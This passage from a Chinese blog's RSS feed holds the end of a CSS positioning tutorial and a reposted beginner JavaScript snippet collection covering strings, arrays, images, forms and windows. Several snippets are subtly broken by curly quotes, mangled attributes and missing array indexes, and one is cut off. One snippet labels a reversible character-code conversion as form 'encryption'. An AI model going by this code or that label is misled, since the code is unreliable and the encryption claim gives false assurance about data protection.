宽度属性只适用于绝对定位的要素。你可以使用我们学过的任何一种长度单位，或使用比例值设定宽度，比例值指相对于母体要素的比例。IE 4中，这项属性还可用于图象。你可以通过宽度设置人为地拉宽或压缩图象。<br/><br/>　　高度：理论上讲，高度应该和宽度的设置类似，只不过是在垂直方向上：<br/>　　DIV &#123; position: absolute; left: 200px; top: 40px; height: 150px &#125;<br/>　　这里我用了“理论上讲”，因为有些浏览器不支持高度属性。<br/><br/>　　可视性：利用CSS，你可以隐藏要素，使其在页面上看不见。这条属性对于定位了的和未定位的要素都适用。<br/>　　H4 &#123; visibility: hidden &#125;<br/>　　选项：<br/><br/>visible 使要素可以被看见<br/>hidden 使要素被隐藏<br/>inherit 指它将继承母体要素的可视性设置。<br/>　　值 inherit 为缺省值。这使单元继承父单元的可见性。所以，如果某一段是隐藏的，则它包含的任何行间单元也都被隐藏。这一继承性可被明确指定的可见性取代。例如，段内的 EM 单元被指定为可见，这时如果该段被隐藏，则段内的所有其它内容都将消失，而唯有 EM 单元中的文本是可见的。<br/>　　当一个要素被隐藏后，它仍然要占据浏览器窗口中的原有空间。所以，如果你将文字包围在一幅被隐藏的图象周围，那么，其显示效果将是文字包围着一块空白区域。此新闻&gt; 　　这条属性在编写语言和使用动态HTML时很有用，比如你可以使某段落或图象只在鼠标滑过时才显示。<br/><br/>　● 4．单元层次 （z-index）<br/><br/>　　特性 z-index 用于堆叠屏幕上的单元。缺省情况下，单元堆叠的顺序为它们出现在HTML标记的顺序——也就是说，后出现单元堆叠在早出现单元的上面。Z-index 特性实际上定义同属（sibling）单元的堆叠顺序以及单元相对父单元的堆叠。按照规范草案，具有正 z-index 值的单元群都堆叠在父单元之上，它们自己的堆叠顺序则按其取值的大小来决定（值大的单元在上层）。同样，具有负 z-index 值的单元群都堆叠在父单元之下，它们自己的堆叠顺序也按取值的大小来定（值大的单元在上层，例如值为 -1 的单元在值为 -2 的单元的上面）。<br/>　　该参数值使用纯整数。z-index用于绝对定位或相对定位了的要素。你也可以给图象设定z-index。（对于Communicator，最好将 &lt;IMG&gt;标签包在&lt;SPAN&gt;或 &lt;DIV&gt;标签内，然后将z-index应用到&lt;SPAN&gt;或 &lt;DIV&gt;。）<br/><br/>　● 5．剪辑绝对定位单元 （clip）<br/><br/>　　绝对定位单元可以被剪辑——也即剪辑显示给用户的区域，只显示单元的一部分而把其余部分作透明处理。对于传统的基于文本和图像的网络页面，这并不是一个很有用的特征。但若要求多媒体页面，这是很有用的。如 Netscape Communivator 4 和 Internet Explorer 4 都支持多媒体页面，它们通过文档的脚本接口动态地调整单元周围的剪辑区，从而实线文本“划入”和图像渐显等显示特征。<br/>　　在CSS中，剪辑通过 clip 特性来控制，这一特性只能用于绝对定位单元，其缺省值为 auto，按单元的外边缘来剪辑单元（实际上等于没有剪辑）。另外，可通过如下表达式设置剪辑框：<br/>　　clip : rect(top,right.bottom,left) ;<br/>　　其中 top、right、bottom 和 left 分别是矩形剪辑框的上边、右边、下边和左边相对于被剪辑单元左上角的位置。Top、right、bottom 和 left 的值可以为任意绝对或相对长度值（但不能为百分比值），或者是关键字 auto。取值为 auto 意味着剪辑区域的各边放好以后，被剪辑单元中的任何内容都不会超出这个区域。<br/><br/>　● 6．控制单元溢出 （overflow）<br/><br/>　　固定绝对或相对定位单元的 width 和 height，很可能会因为指定的区域不能满足单元实际内容的需要，而造成单元内容溢出。这时可使用 overflow 来指定浏览器如何处理溢出：值 none（缺省值）允许浏览器显示溢出的内容，因此单元可溢出指定的区域。而值 clip 要求浏览器在单元底部和右边剪辑单元内容，这样，超出指定区域的单元内容将不显示。值 scroll 也同样要求浏览器在单元底部和右边剪辑单元内容（同 clip），不过，浏览器应该（如果可能的话）为单元提供滚动条以使用户能通过滚动来浏览被剪辑的内容。
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?263</link>
<title><![CDATA[[转载]JavaScript就这么回事]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[程序学习]]></category>
<pubDate>Mon, 03 Sep 2007 08:06:11 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?263</guid> 
<description>
<![CDATA[ 
	JavaScript就这么回事<br/>适合阅读范围：对JavaScript一无所知～离精通只差一步之遥的人<br/>基础知识：HTML<br/><br/><br/>JavaScript就这么回事1：基础知识 &nbsp;<br/><br/>1 创建脚本块<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: JavaScript code goes here<br/>3: &lt;/script&gt; &nbsp;<br/><br/><br/><br/>2 隐藏脚本代码<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: &lt;!--<br/>3: document.write(“Hello”);<br/>4: // --&gt;<br/>5: &lt;/script&gt; &nbsp;<br/><br/><br/>在不支持JavaScript的浏览器中将不执行相关代码<br/><br/>3 浏览器不支持的时候显示<br/><br/>1: &lt;noscript&gt;<br/>2: Hello to the non-JavaScript browser.<br/>3: &lt;/noscript&gt; &nbsp;<br/><br/><br/><br/>4 链接外部脚本文件<br/><br/>1: &lt;script language=”JavaScript” src=&quot;/”filename.js&quot;”&gt;&lt;/script&gt; &nbsp;<br/><br/><br/>5 注释脚本<br/><br/>1: // This is a comment<br/>2: document.write(“Hello”); // This is a comment<br/>3: /*<br/>4: All of this<br/>5: is a comment<br/>6: */ &nbsp;<br/><br/><br/><br/>6 输出到浏览器<br/><br/>1: document.write(“&lt;strong&gt;Hello&lt;/strong&gt;”); &nbsp;<br/><br/><br/><br/>7 定义变量<br/><br/>1: var myVariable = “some value”; &nbsp;<br/><br/><br/><br/>8 字符串相加<br/><br/>1: var myString = “String1” + “String2”; &nbsp;<br/><br/><br/><br/>9 字符串搜索<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: &lt;!--<br/>3: var myVariable = “Hello there”;<br/>4: var therePlace = myVariable.search(“there”);<br/>5: document.write(therePlace);<br/>6: // --&gt;<br/>7: &lt;/script&gt; &nbsp;<br/><br/><br/><br/>10 字符串替换<br/><br/>1: thisVar.replace(“Monday”,”Friday”); &nbsp;<br/><br/><br/>11 格式化字串<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: &lt;!--<br/>3: var myVariable = “Hello there”;<br/>4: document.write(myVariable.big() + “&lt;br&gt;”);<br/>5: document.write(myVariable.blink() + “&lt;br&gt;”);<br/>6: document.write(myVariable.bold() + “&lt;br&gt;”);<br/>7: document.write(myVariable.fixed() + “&lt;br&gt;”);<br/>8: document.write(myVariable.fontcolor(“red”) + “&lt;br&gt;”);<br/>9: document.write(myVariable.fontsize(“18pt”) + “&lt;br&gt;”);<br/>10: document.write(myVariable.italics() + “&lt;br&gt;”);<br/>11: document.write(myVariable.small() + “&lt;br&gt;”);<br/>12: document.write(myVariable.strike() + “&lt;br&gt;”);<br/>13: document.write(myVariable.sub() + “&lt;br&gt;”);<br/>14: document.write(myVariable.sup() + “&lt;br&gt;”);<br/>15: document.write(myVariable.toLowerCase() + “&lt;br&gt;”);<br/>16: document.write(myVariable.toUpperCase() + “&lt;br&gt;”);<br/>17: &nbsp;<br/>18: var firstString = “My String”;<br/>19: var finalString = firstString.bold().toLowerCase().fontcolor(“red”);<br/>20: // --&gt;<br/>21: &lt;/script&gt; &nbsp;<br/><br/><br/><br/>12 创建数组<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: &lt;!--<br/>3: var myArray = new Array(5);<br/>4: myArray[0] = “First Entry”;<br/>5: myArray[1] = “Second Entry”;<br/>6: myArray[2] = “Third Entry”;<br/>7: myArray[3] = “Fourth Entry”;<br/>8: myArray[4] = “Fifth Entry”;<br/>9: var anotherArray = new Array(“First Entry”,”Second Entry”,”Third Entry”,”Fourth Entry”,”Fifth Entry”);<br/>10: // --&gt;<br/>11: &lt;/script&gt; &nbsp;<br/><br/><br/><br/>13 数组排序<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: &lt;!--<br/>3: var myArray = new Array(5);<br/>4: myArray[0] = “z”;<br/>5: myArray[1] = “c”;<br/>6: myArray[2] = “d”;<br/>7: myArray[3] = “a”;<br/>8: myArray[4] = “q”;<br/>9: document.write(myArray.sort());<br/>10: // --&gt;<br/>11: &lt;/script&gt; &nbsp;<br/><br/><br/><br/>14 分割字符串<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: &lt;!--<br/>3: var myVariable = “a,b,c,d”;<br/>4: var stringArray = myVariable.split(“,”);<br/>5: document.write(stringArray[0]);<br/>6: document.write(stringArray[1]);<br/>7: document.write(stringArray[2]);<br/>8: document.write(stringArray[3]);<br/>9: // --&gt;<br/>10: &lt;/script&gt; &nbsp;<br/><br/><br/><br/>15 弹出警告信息<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: &lt;!--<br/>3: window.alert(“Hello”);<br/>4: // --&gt;<br/>5: &lt;/script&gt; &nbsp;<br/><br/><br/><br/>16 弹出确认框<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: &lt;!--<br/>3: var result = window.confirm(“Click OK to continue”);<br/>4: // --&gt;<br/>5: &lt;/script&gt; &nbsp;<br/><br/><br/><br/>17 定义函数<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: &lt;!--<br/>3: function multiple(number1,number2) &#123; &nbsp;<br/>4: var result = number1 * number2;<br/>5: return result;<br/>6: &#125;<br/>7: // --&gt;<br/>8: &lt;/script&gt; &nbsp;<br/><br/><br/><br/>18 调用JS函数<br/><br/>1: &lt;a href=”#” onClick=”functionName()”&gt;Link text&lt;/a&gt;<br/>2: &lt;a href=&quot;/”javascript:functionName&quot;()”&gt;Link text&lt;/a&gt; &nbsp;<br/><br/><br/><br/>19 在页面加载完成后执行函数<br/><br/>1: &lt;body onLoad=”functionName();”&gt;<br/>2: Body of the page<br/>3: &lt;/body&gt; &nbsp;<br/><br/><br/>20 条件判断<br/><br/>1: &lt;script&gt;<br/>2: &lt;!--<br/>3: var userChoice = window.confirm(“Choose OK or Cancel”);<br/>4: var result = (userChoice == true) ? “OK” : “Cancel”;<br/>5: document.write(result);<br/>6: // --&gt;<br/>7: &lt;/script&gt; &nbsp;<br/><br/><br/><br/>21 指定次数循环<br/><br/>1: &lt;script&gt;<br/>2: &lt;!--<br/>3: var myArray = new Array(3);<br/>4: myArray[0] = “Item 0”;<br/>5: myArray[1] = “Item 1”;<br/>6: myArray[2] = “Item 2”;<br/>7: for (i = 0; i &lt; myArray.length; i++) &#123; &nbsp;<br/>8: document.write(myArray + “&lt;br&gt;”);<br/>9: &#125;<br/>10: // --&gt;<br/>11: &lt;/script&gt; &nbsp;<br/><br/><br/><br/>22 设定将来执行<br/><br/>1: &lt;script&gt;<br/>2: &lt;!--<br/>3: function hello() &#123; &nbsp;<br/>4: window.alert(“Hello”);<br/>5: &#125;<br/>6: window.setTimeout(“hello()”,5000);<br/>7: // --&gt;<br/>8: &lt;/script&gt; &nbsp;<br/><br/><br/><br/>23 定时执行函数<br/><br/>1: &lt;script&gt;<br/>2: &lt;!--<br/>3: function hello() &#123; &nbsp;<br/>4: window.alert(“Hello”);<br/>5: window.setTimeout(“hello()”,5000);<br/>6: &#125;<br/>7: window.setTimeout(“hello()”,5000);<br/>8: // --&gt;<br/>9: &lt;/script&gt; &nbsp;<br/><br/><br/><br/>24 取消定时执行<br/><br/>1: &lt;script&gt;<br/>2: &lt;!--<br/>3: function hello() &#123; &nbsp;<br/>4: window.alert(“Hello”);<br/>5: &#125;<br/>6: var myTimeout = window.setTimeout(“hello()”,5000);<br/>7: window.clearTimeout(myTimeout);<br/>8: // --&gt;<br/>9: &lt;/script&gt; &nbsp;<br/><br/><br/><br/>25 在页面卸载时候执行函数<br/><br/>1: &lt;body onUnload=”functionName();”&gt;<br/>2: Body of the page<br/>3: &lt;/body&gt; &nbsp;<br/><br/>JavaScript就这么回事2：浏览器输出 &nbsp;<br/><br/><br/>26 访问document对象<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: var myURL = document.URL;<br/>3: window.alert(myURL);<br/>4: &lt;/script&gt; &nbsp;<br/><br/><br/><br/>27 动态输出HTML<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: document.write(“&lt;p&gt;Here’s some information about this document:&lt;/p&gt;”);<br/>3: document.write(“&lt;ul&gt;”);<br/>4: document.write(“&lt;li&gt;Referring Document: “ + document.referrer + “&lt;/li&gt;”);<br/>5: document.write(“&lt;li&gt;Domain: “ + document.domain + “&lt;/li&gt;”);<br/>6: document.write(“&lt;li&gt;URL: “ + document.URL + “&lt;/li&gt;”);<br/>7: document.write(“&lt;/ul&gt;”);<br/>8: &lt;/script&gt; &nbsp;<br/><br/><br/>28 输出换行<br/><br/>1: document.writeln(“&lt;strong&gt;a&lt;/strong&gt;”);<br/>2: document.writeln(“b”); &nbsp;<br/><br/><br/><br/>29 输出日期<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: var thisDate = new Date();<br/>3: document.write(thisDate.toString());<br/>4: &lt;/script&gt; &nbsp;<br/><br/><br/><br/>30 指定日期的时区<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: var myOffset = -2;<br/>3: var currentDate = new Date();<br/>4: var userOffset = currentDate.getTimezoneOffset()/60;<br/>5: var timeZoneDifference = userOffset - myOffset;<br/>6: currentDate.setHours(currentDate.getHours() + timeZoneDifference);<br/>7: document.write(“The time and date in Central Europe is: “ + currentDate.toLocaleString());<br/>8: &lt;/script&gt; &nbsp;<br/><br/><br/>31 设置日期输出格式<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: var thisDate = new Date();<br/>3: var thisTimeString = thisDate.getHours() + “:” + thisDate.getMinutes();<br/>4: var thisDateString = thisDate.getFullYear() + “/” + thisDate.getMonth() + “/” + thisDate.getDate();<br/>5: document.write(thisTimeString + “ on “ + thisDateString);<br/>6: &lt;/script&gt; &nbsp;<br/><br/><br/>32 读取URL参数<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: var urlParts = document.URL.split(“?”);<br/>3: var parameterParts = urlParts[1].split(“&amp;”);<br/>4: for (i = 0; i &lt; parameterParts.length; i++) &#123; &nbsp;<br/>5: var pairParts = parameterParts.split(“=”);<br/>6: var pairName = pairParts[0];<br/>7: var pairValue = pairParts[1];<br/>8: document.write(pairName + “ ：“ +pairValue );<br/>9: &#125;<br/>10: &lt;/script&gt; &nbsp;<br/><br/>你还以为HTML是无状态的么？<br/><br/>33 打开一个新的document对象<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: function newDocument() &#123; &nbsp;<br/>3: document.open();<br/>4: document.write(“&lt;p&gt;This is a New Document.&lt;/p&gt;”);<br/>5: document.close();<br/>6: &#125;<br/>7: &lt;/script&gt; &nbsp;<br/><br/><br/><br/>34 页面跳转<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: window.location = “http://www.liu21st.com/”;<br/>3: &lt;/script&gt; &nbsp;<br/><br/><br/><br/>35 添加网页加载进度窗口<br/><br/>1: &lt;html&gt;<br/>2: &lt;head&gt;<br/>3: &lt;script language=&#039;javaScript&#039;&gt;<br/>4: var placeHolder = window.open(&#039;holder.html&#039;,&#039;placeholder&#039;,&#039;width=200,height=200&#039;);<br/>5: &lt;/script&gt;<br/>6: &lt;title&gt;The Main Page&lt;/title&gt;<br/>7: &lt;/head&gt;<br/>8: &lt;body onLoad=&#039;placeHolder.close()&#039;&gt;<br/>9: &lt;p&gt;This is the main page&lt;/p&gt;<br/>10: &lt;/body&gt;<br/>11: &lt;/html&gt; &nbsp;<br/><br/><br/><br/>JavaScript就这么回事3：图像 &nbsp;<br/><br/><br/><br/>36 读取图像属性<br/><br/>1: &lt;img src=&quot;/”image1.jpg&quot;” name=”myImage”&gt;<br/>2: &lt;a href=”# ” onClick=”window.alert(document.myImage.width)”&gt;Width&lt;/a&gt;<br/>3: &nbsp;<br/><br/><br/>37 动态加载图像<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: myImage = new Image;<br/>3: myImage.src = “Tellers1.jpg”;<br/>4: &lt;/script&gt; &nbsp;<br/><br/><br/>38 简单的图像替换<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: rollImage = new Image;<br/>3: rollImage.src = “rollImage1.jpg”;<br/>4: defaultImage = new Image;<br/>5: defaultImage.src = “image1.jpg”;<br/>6: &lt;/script&gt;<br/>7: &lt;a href=&quot;/”myUrl&quot;” onMouseOver=”document.myImage.src = rollImage.src;”<br/>8: onMouseOut=”document.myImage.src = defaultImage.src;”&gt;<br/>9: &lt;img src=&quot;/”image1.jpg&quot;” name=”myImage” width=100 height=100 border=0&gt; &nbsp;<br/><br/><br/>39 随机显示图像<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: var imageList = new Array;<br/>3: imageList[0] = “image1.jpg”;<br/>4: imageList[1] = “image2.jpg”;<br/>5: imageList[2] = “image3.jpg”;<br/>6: imageList[3] = “image4.jpg”;<br/>7: var imageChoice = Math.floor(Math.random() * imageList.length);<br/>8: document.write(‘&lt;img src=”’ + imageList[imageChoice] + ‘“&gt;’);<br/>9: &lt;/script&gt; &nbsp;<br/><br/><br/>40 函数实现的图像替换<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: var source = 0;<br/>3: var replacement = 1;<br/>4: function createRollOver(originalImage,replacementImage) &#123; &nbsp;<br/>5: var imageArray = new Array;<br/>6: imageArray[source] = new Image;<br/>7: imageArray[source].src = originalImage;<br/>8: imageArray[replacement] = new Image;<br/>9: imageArray[replacement].src = replacementImage;<br/>10: return imageArray;<br/>11: &#125;<br/>12: var rollImage1 = createRollOver(“image1.jpg”,”rollImage1.jpg”);<br/>13: &lt;/script&gt;<br/>14: &lt;a href=”#” onMouseOver=”document.myImage1.src = rollImage1[replacement].src;”<br/>15: onMouseOut=”document.myImage1.src = rollImage1[source].src;”&gt;<br/>16: &lt;img src=&quot;/”image1.jpg&quot;” width=100 name=”myImage1” border=0&gt;<br/>17: &lt;/a&gt; &nbsp;<br/><br/><br/>41 创建幻灯片<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: var imageList = new Array;<br/>3: imageList[0] = new Image;<br/>4: imageList[0].src = “image1.jpg”;<br/>5: imageList[1] = new Image;<br/>6: imageList[1].src = “image2.jpg”;<br/>7: imageList[2] = new Image;<br/>8: imageList[2].src = “image3.jpg”;<br/>9: imageList[3] = new Image;<br/>10: imageList[3].src = “image4.jpg”;<br/>11: function slideShow(imageNumber) &#123; &nbsp;<br/>12: document.slideShow.src = imageList[imageNumber].src;<br/>13: imageNumber += 1;<br/>14: if (imageNumber &lt; imageList.length) &#123; &nbsp;<br/>15: window.setTimeout(“slideShow(“ + imageNumber + “)”,3000);<br/>16: &#125;<br/>17: &#125;<br/>18: &lt;/script&gt;<br/>19: &lt;/head&gt;<br/>20: &lt;body onLoad=”slideShow(0)”&gt;<br/>21: &lt;img src=&quot;/”image1.jpg&quot;” width=100 name=”slideShow”&gt; &nbsp;<br/><br/><br/>42 随机广告图片<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: var imageList = new Array;<br/>3: imageList[0] = “image1.jpg”;<br/>4: imageList[1] = “image2.jpg”;<br/>5: imageList[2] = “image3.jpg”;<br/>6: imageList[3] = “image4.jpg”;<br/>7: var urlList = new Array;<br/>8: urlList[0] = “http://some.host/”;<br/>9: urlList[1] = “http://another.host/”;<br/>10: urlList[2] = “http://somewhere.else/”;<br/>11: urlList[3] = “http://right.here/”;<br/>12: var imageChoice = Math.floor(Math.random() * imageList.length);<br/>13: document.write(‘&lt;a href=”’ + urlList[imageChoice] + ‘“&gt;&lt;img src=”’ + imageList[imageChoice] + ‘“&gt;&lt;/a&gt;’);<br/>14: &lt;/script&gt; &nbsp;<br/><br/>JavaScript就这么回事4：表单 &nbsp;<br/><br/><br/>还是先继续写完JS就这么回事系列吧～<br/>43 表单构成<br/><br/>1: &lt;form method=”post” action=”target.html” name=”thisForm”&gt;<br/>2: &lt;input type=”text” name=”myText”&gt;<br/>3: &lt;select name=”mySelect”&gt;<br/>4: &lt;option value=”1”&gt;First Choice&lt;/option&gt;<br/>5: &lt;option value=”2”&gt;Second Choice&lt;/option&gt;<br/>6: &lt;/select&gt;<br/>7: &lt;br&gt;<br/>8: &lt;input type=”submit” value=”Submit Me”&gt;<br/>9: &lt;/form&gt; &nbsp;<br/><br/><br/>44 访问表单中的文本框内容<br/><br/>1: &lt;form name=”myForm”&gt;<br/>2: &lt;input type=”text” name=”myText”&gt;<br/>3: &lt;/form&gt;<br/>4: &lt;a href=&#039;#&#039; onClick=&#039;window.alert(document.myForm.myText.value);&#039;&gt;Check Text Field&lt;/a&gt; &nbsp;<br/><br/><br/>45 动态复制文本框内容<br/><br/>1: &lt;form name=”myForm”&gt;<br/>2: Enter some Text: &lt;input type=”text” name=”myText”&gt;&lt;br&gt;<br/>3: Copy Text: &lt;input type=”text” name=”copyText”&gt;<br/>4: &lt;/form&gt;<br/>5: &lt;a href=”#” onClick=”document.myForm.copyText.value =<br/>6: document.myForm.myText.value;”&gt;Copy Text Field&lt;/a&gt; &nbsp;<br/><br/><br/>46 侦测文本框的变化<br/><br/>1: &lt;form name=”myForm”&gt;<br/>2: Enter some Text: &lt;input type=”text” name=”myText” onChange=”alert(this.value);”&gt;<br/>3: &lt;/form&gt; &nbsp;<br/><br/><br/>47 访问选中的Select<br/><br/>1: &lt;form name=”myForm”&gt;<br/>2: &lt;select name=”mySelect”&gt;<br/>3: &lt;option value=”First Choice”&gt;1&lt;/option&gt;<br/>4: &lt;option value=”Second Choice”&gt;2&lt;/option&gt;<br/>5: &lt;option value=”Third Choice”&gt;3&lt;/option&gt;<br/>6: &lt;/select&gt;<br/>7: &lt;/form&gt;<br/>8: &lt;a href=&#039;#&#039; onClick=&#039;alert(document.myForm.mySelect.value);&#039;&gt;Check Selection List&lt;/a&gt; &nbsp;<br/><br/><br/>48 动态增加Select项<br/><br/>1: &lt;form name=”myForm”&gt;<br/>2: &lt;select name=”mySelect”&gt;<br/>3: &lt;option value=”First Choice”&gt;1&lt;/option&gt;<br/>4: &lt;option value=”Second Choice”&gt;2&lt;/option&gt;<br/>5: &lt;/select&gt;<br/>6: &lt;/form&gt;<br/>7: &lt;script language=”JavaScript”&gt;<br/>8: document.myForm.mySelect.length++;<br/>9: document.myForm.mySelect.options[document.myForm.mySelect.length - 1].text = “3”;<br/>10: document.myForm.mySelect.options[document.myForm.mySelect.length - 1].value = “Third Choice”;<br/>11: &lt;/script&gt; &nbsp;<br/><br/><br/>49 验证表单字段<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: function checkField(field) &#123; &nbsp;<br/>3: if (field.value == “”) &#123; &nbsp;<br/>4: window.alert(“You must enter a value in the field”);<br/>5: field.focus();<br/>6: &#125;<br/>7: &#125;<br/>8: &lt;/script&gt;<br/>9: &lt;form name=”myForm” action=”target.html”&gt;<br/>10: Text Field: &lt;input type=”text” name=”myField”onBlur=”checkField(this)”&gt;<br/>11: &lt;br&gt;&lt;input type=”submit”&gt;<br/>12: &lt;/form&gt; &nbsp;<br/><br/><br/>50 验证Select项<br/><br/>1: function checkList(selection) &#123; &nbsp;<br/>2: if (selection.length == 0) &#123; &nbsp;<br/>3: window.alert(“You must make a selection from the list.”);<br/>4: return false;<br/>5: &#125;<br/>6: return true;<br/>7: &#125; &nbsp;<br/><br/><br/>51 动态改变表单的action<br/><br/>1: &lt;form name=”myForm” action=”login.html”&gt;<br/>2: Username: &lt;input type=”text” name=”username”&gt;&lt;br&gt;<br/>3: Password: &lt;input type=”password” name=”password”&gt;&lt;br&gt;<br/>4: &lt;input type=”button” value=”Login” onClick=”this.form.submit();”&gt;<br/>5: &lt;input type=”button” value=”Register” onClick=”this.form.action = ‘register.html’; this.form.submit();”&gt;<br/>6: &lt;input type=”button” value=”Retrieve Password” onClick=”this.form.action = ‘password.html’; this.form.submit();”&gt;<br/>7: &lt;/form&gt; &nbsp;<br/><br/><br/>52 使用图像按钮<br/><br/>1: &lt;form name=”myForm” action=”login.html”&gt;<br/>2: Username: &lt;input type=”text” name=”username”&gt;&lt;br&gt;<br/>3: Password: &lt;input type=”password”name=”password”&gt;&lt;br&gt;<br/>4: &lt;input type=”image” src=&quot;/”login.gif&quot;” value=”Login”&gt;<br/>5: &lt;/form&gt;<br/>6: &nbsp;<br/><br/><br/>53 表单数据的加密<br/><br/>1: &lt;SCRIPT LANGUAGE=&#039;JavaScript&#039;&gt;<br/>2: &lt;!--<br/>3: function encrypt(item) &#123; &nbsp;<br/>4: var newItem = &#039;&#039;;<br/>5: for (i=0; i &lt; item.length; i++) &#123; &nbsp;<br/>6: newItem += item.charCodeAt(i) + &#039;.&#039;;<br/>7: &#125;<br/>8: return newItem;<br/>9: &#125;<br/>10: function encryptForm(myForm) &#123; &nbsp;<br/>11: for (i=0; i &lt; myForm.elements.length; i++) &#123; &nbsp;<br/>12: myForm.elements.value = encrypt(myForm.elements.value);<br/>13: &#125;<br/>14: &#125;<br/>15: &nbsp;<br/>16: //--&gt;<br/>17: &lt;/SCRIPT&gt;<br/>18: &lt;form name=&#039;myForm&#039; onSubmit=&#039;encryptForm(this); window.alert(this.myField.value);&#039;&gt;<br/>19: Enter Some Text: &lt;input type=text name=myField&gt;&lt;input type=submit&gt;<br/>20: &lt;/form&gt; &nbsp;<br/><br/><br/><br/><br/>JavaScript就这么回事5：窗口和框架 &nbsp;<br/><br/><br/>54 改变浏览器状态栏文字提示<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: window.status = “A new status message”;<br/>3: &lt;/script&gt; &nbsp;<br/><br/><br/>55 弹出确认提示框<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: var userChoice = window.confirm(“Click OK or Cancel”);<br/>3: if (userChoice) &#123; &nbsp;<br/>4: document.write(“You chose OK”);<br/>5: &#125; else &#123; &nbsp;<br/>6: document.write(“You chose Cancel”);<br/>7: &#125;<br/>8: &lt;/script&gt; &nbsp;<br/><br/><br/>56 提示输入<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: var userName = window.prompt(“Please Enter Your Name”,”Enter Your Name Here”);<br/>3: document.write(“Your Name is “ + userName);<br/>4: &lt;/script&gt; &nbsp;<br/><br/><br/>57 打开一个新窗口<br/><br/>1: //打开一个名称为myNewWindow的浏览器新窗口<br/>2: &lt;script language=”JavaScript”&gt;<br/>3: window.open(“http://www.liu21st.com/”,”myNewWindow”);<br/>4: &lt;/script&gt; &nbsp;<br/><br/><br/>58 设置新窗口的大小<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: window.open(“http://www.liu21st.com/”,”myNewWindow”,&#039;height=300,width=300&#039;);<br/>3: &lt;/script&gt; &nbsp;<br/><br/><br/>59 设置新窗口的位置<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: window.open(“http://www.liu21st.com/”,”myNewWindow”,&#039;height=300,width=300,left=200,screenX=200,top=100,screenY=100&#039;);<br/>3: &lt;/script&gt; &nbsp;<br/><br/><br/>60 是否显示工具栏和滚动栏<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: window.open(“http: &nbsp;<br/><br/><br/>61 是否可以缩放新窗口的大小<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: window.open(&#039;http://www.liu21st.com/&#039; , &#039;myNewWindow&#039;, &#039;resizable=yes&#039; );&lt;/script&gt; &nbsp;<br/><br/><br/>62 加载一个新的文档到当前窗口<br/><br/>1: &lt;a href=&#039;#&#039; onClick=&#039;document.location = &#039;125a.html&#039;;&#039; &gt;Open New Document&lt;/a&gt; &nbsp;<br/><br/><br/>63 设置页面的滚动位置<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: if (document.all) &#123; //如果是IE浏览器则使用scrollTop属性<br/>3: document.body.scrollTop = 200;<br/>4: &#125; else &#123; //如果是NetScape浏览器则使用pageYOffset属性<br/>5: window.pageYOffset = 200;<br/>6: &#125;&lt;/script&gt; &nbsp;<br/><br/><br/>64 在IE中打开全屏窗口<br/><br/>1: &lt;a href=&#039;#&#039; onClick=”window.open(&#039;http://www.juxta.com/&#039;,&#039;newWindow&#039;,&#039;fullScreen=yes&#039;);”&gt;Open a full-screen window&lt;/a&gt; &nbsp;<br/><br/><br/>65 新窗口和父窗口的操作<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: //定义新窗口<br/>3: var newWindow = window.open(“128a.html”,”newWindow”);<br/>4: newWindow.close(); //在父窗口中关闭打开的新窗口<br/>5: &lt;/script&gt;<br/>6: 在新窗口中关闭父窗口<br/>7: window.opener.close() &nbsp;<br/><br/><br/>66 往新窗口中写内容<br/><br/>1: &lt;script language=”JavaScript”&gt;<br/>2: var newWindow = window.open(“”,”newWindow”);<br/>3: newWindow.document.open();<br/>4: newWindow.document.write(“This is a new window”);<br/>5: newWIndow.document.close();<br/>6: &lt;/script&gt; &nbsp;<br/><br/><br/>67 加载页面到框架页面<br/><br/>1: &lt;frameset cols=”50%,*”&gt;<br/>2: &lt;frame name=”frame1” src=&quot;/”135a.html&quot;”&gt;<br/>3: &lt;frame name=”frame2” src=&quot;/”about:blank&quot;”&gt;<br/>4: &lt;/frameset&gt;<br/>5: 在frame1中加载frame2中的页面<br/>6: parent.frame2.document.location = “135b.html”; &nbsp;<br/><br/><br/>68 在框架页面之间共享脚本<br/>如果在frame1中html文件中有个脚本<br/><br/>1: function doAlert() &#123; &nbsp;<br/>2: window.alert(“Frame 1 is loaded”);<br/>3: &#125; &nbsp;<br/><br/>那么在frame2中可以如此调用该方法<br/><br/>1: &lt;body onLoad=”parent.frame1.doAlert();”&gt;<br/>2: This is frame 2.<br/>3: &lt;/body&gt; &nbsp;<br/><br/><br/>69 